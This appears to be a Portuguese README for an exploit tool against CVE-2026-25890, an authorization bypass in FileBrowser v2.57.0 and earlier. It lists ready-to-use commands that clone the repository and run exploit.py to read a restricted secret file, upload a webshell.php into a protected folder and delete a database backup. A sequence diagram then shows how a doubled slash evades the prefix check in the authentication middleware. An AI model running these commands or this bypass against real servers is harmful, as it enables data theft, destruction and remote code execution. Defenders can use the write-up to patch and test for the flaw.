# Clone o repositório
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass

# Sem dependências além da biblioteca padrão + requests
pip install requests

python3 exploit.py --help

# Ler um arquivo restrito
python3 exploit.py \
  --url http://192.168.1.50:8080 \
  --username bob \
  --password password123 \
  --path /private/secret.txt \
  --action read \
  --save leaked_secret.txt \
  --verbose

# Enviar arquivo malicioso para pasta restrita
python3 exploit.py \
  --url http://target:8080 \
  --username lowpriv \
  --password pass \
  --path /data/ \
  --action upload \
  --upload-file webshell.php \
  --slashes 3

# Excluir um arquivo restrito
python3 exploit.py \
  --url http://10.10.10.123:80 \
  --username alice \
  --password secret \
  --path /backups/database.bak \
  --action delete \
  --slashes 4

sequenceDiagram
    participant Atacante
    participant FileBrowser ≤ v2.57.0
    participant Roteador Gorilla Mux
    participant Middleware de Autenticação
    participant Manipulador do Sistema de Arquivos

    Atacante->>FileBrowser: GET /api/resources/private/secret.txt<br>(solicitação normal)
    FileBrowser->>Gorilla Mux: Caminho = /api/resources/private/secret.txt
    Gorilla Mux->>Middleware de Autenticação: path = "/private/secret.txt"
    Middleware de Autenticação->>Middleware de Autenticação: strings.HasPrefix("/private/secret.txt", não permitido="/private") → true
    Middleware de Autenticação->>Atacante: 403 Proibido

    Note over Atacante,FileBrowser: Atacante tenta o bypass

    Atacante->>FileBrowser: GET /api/resources//private/secret.txt
    FileBrowser->>Gorilla Mux: Caminho = /api/resources//private/secret.txt<br>(SkipClean=true → sem normalização)
    Gorilla Mux->>Middleware de Autenticação: path = "//private/secret.txt"
    Middleware de Autenticação->>Middleware de Autenticação: HasPrefix("//private/secret.txt", "/private") → false
    Middleware de Autenticação->>Manipulador do Sistema de Arquivos: Permitido → prosseguir
    Manipulador do Sistema de Arquivos->>Sistema de Arquivos: Normaliza // → /private/secret.txt
    Sistema de Arquivos->>Manipulador do Sistema de Arquivos: Retorna o conteúdo do arquivo
    Manipulador do Sistema de Arquivos->>Atacante: 200 OK + conteúdo secreto